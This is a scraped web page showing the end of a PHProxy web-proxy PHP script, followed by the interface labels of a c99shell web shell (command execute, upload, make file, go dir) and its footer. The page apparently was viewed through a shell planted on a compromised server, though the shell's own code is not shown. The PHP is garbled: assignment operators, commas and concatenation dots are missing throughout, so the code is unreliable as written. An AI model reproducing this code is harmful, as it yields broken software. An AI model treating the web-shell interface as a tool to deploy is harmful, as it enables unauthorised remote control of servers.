$attrs['usemap'] = complete_url($attrs['usemap']);
                    }
                    if (isset(
$attrs['codebase']))
                    {
                        
$rebuild true;
                        
$temp $_base;
                        
url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/'false), $_base);
                        unset(
$attrs['codebase']);
                    }
                    if (isset(
$attrs['data']))
                    {
                        
$rebuild true;
                        
$attrs['data'] = complete_url($attrs['data']);
                    }
                    if (isset(
$attrs['classid']) && !preg_match('#^clsid:#i'$attrs['classid']))
                    {
                        
$rebuild true;
                        
$attrs['classid'] = complete_url($attrs['classid']);
                    }
                    if (isset(
$attrs['archive']))
                    {
                        
$rebuild true;
                        
$attrs['archive'] = implode(' 'array_map('complete_url'explode(' '$attrs['archive'])));
                    }
                    if (!empty(
$temp))
                    {
                        
$_base $temp;
                    }
                    break;
                case 
'param':
                    if (isset(
$attrs['valuetype'], $attrs['value']) && strtolower($attrs['valuetype']) == 'ref' && preg_match('#^[\w.+-]+://#'$attrs['value']))
                    {
                        
$rebuild true;
                        
$attrs['value'] = complete_url($attrs['value']);
                    }
                    break;
                case 
'frame':
                case 
'iframe':
                    if (isset(
$attrs['src']))
                    {
                        
$rebuild true;
                        
$attrs['src'] = complete_url($attrs['src']) . '&nf=1';
                    }
                    if (isset(
$attrs['longdesc']))
                    {
                        
$rebuild true;
                        
$attrs['longdesc'] = complete_url($attrs['longdesc']);
                    }
                    break;
                default:
                    foreach (
$tags[$tag] as $attr)
                    {
                        if (isset(
$attrs[$attr]))
                        {
                            
$rebuild true;
                            
$attrs[$attr] = complete_url($attrs[$attr]);
                        }
                    }
                    break;
            }
        }
    
        if (
$rebuild)
        {
            
$new_tag "<$tag";
            foreach (
$attrs as $name => $value)
            {
                
$delim strpos($value'"') && !strpos($value"'") ? "'" '"';
                
$new_tag .= ' ' $name . ($value !== false '=' $delim $value $delim '');
            }

            
$_response_body str_replace($matches[0][$i], $new_tag '>' $extra_html$_response_body);
        }
    }
    
    if (!isset(
$_GET['nf']))
    {
    
        
$_url_form     '<script type="text/javascript" src="' $GLOBALS['_script_base'] . 'pjs.js"></script>' "\n"
                        
.'<style type="text/css">.pmfclass {margin: 0;padding: 0;border: 0;width: none;height: none;text-decoration: none;font-size: 9pt;font-family: Tahoma, Arial, sans-serif;align: none;text-align: none;direction: ltr;font-weight: normal;background-image: none;background-color: #F2F3F7;color: #333333;letter-spacing: none;display: inline;}</style>'
                        
.'<div id="110011" class="pmfclass" style="text-align: center;border-bottom: 1px solid #D9D9D9;position: fixed;top: 0;left: 0;right: 0;bottom: none;">'
                        
.'<form method="POST" action="' $GLOBALS['_script_url'] . '" name="PHProxy" class="pmfclass" target="_top" onsubmit="return PR0XY_G0();">Address :'
                        
.' [<input class="pmfclass" type="text" style="width: 68%;" name="' $GLOBALS['_config']['url_var_name'] . '" value="' rawurldecode$_url) . (!empty ($POST) ? urldecode('?isP0ST=1&' $POST) : '') . '">] '
                        
.'<script>document.writeln(\'<input type="button" class="pmfclass" value="[Go]" name="go" onclick="PR0XY_G0();"> \');</script>'
                        
.'<noscript><input type="Submit" class="pmfclass" value="[Go]" name="go" onclick="PR0XY_G0();"></noscript>'
                        
.'<script>'
                        
.'document.writeln(\'<input type="button" class="pmfclass" value="[Google]" name="google" onclick="G00GLE()"> \');'
                        
.'document.writeln(\'<label class="pmfclass">[<input type="checkbox" class="pmfclass" onclick="New_Wind0w ();">New window]</label> \');'
                        
.'document.writeln(\' <a id="pmfhref" class="pmfclass" style="color: #FF0000;cursor: pointer;" onclick="document.getElementById (110011).style.display = ' "\'none\'" '" title="Hide mini form"> &nbsp; &nbsp; X</a>\');'
                        
.'document.PHProxy.method = \'GET\';'
                        
.'</script>'
                        
.'</form></div>';
                        
        
$_response_body preg_replace('#\<\s*body(.*?)\>#si'"$0\n$_url_form$_response_body1);
    }
}

$_response_keys['content-disposition'] = 'Content-Disposition';
$_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' 'attachment' 'inline') . '; filename="' $_url_parts['file'] . '"' $_content_disp;
$_response_keys['content-length'] = 'Content-Length';
$_response_headers['content-length'][0] = strlen($_response_body);    
$_response_headers   array_filter($_response_headers);
$_response_keys      array_filter($_response_keys);

header(array_shift($_response_keys));
array_shift($_response_headers);

foreach (
$_response_headers as $name => $array)
{
    foreach (
$array as $value)
    {
        
header($_response_keys[$name] . ': ' $valuefalse);
    }
}
echo 
$_response_body;
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--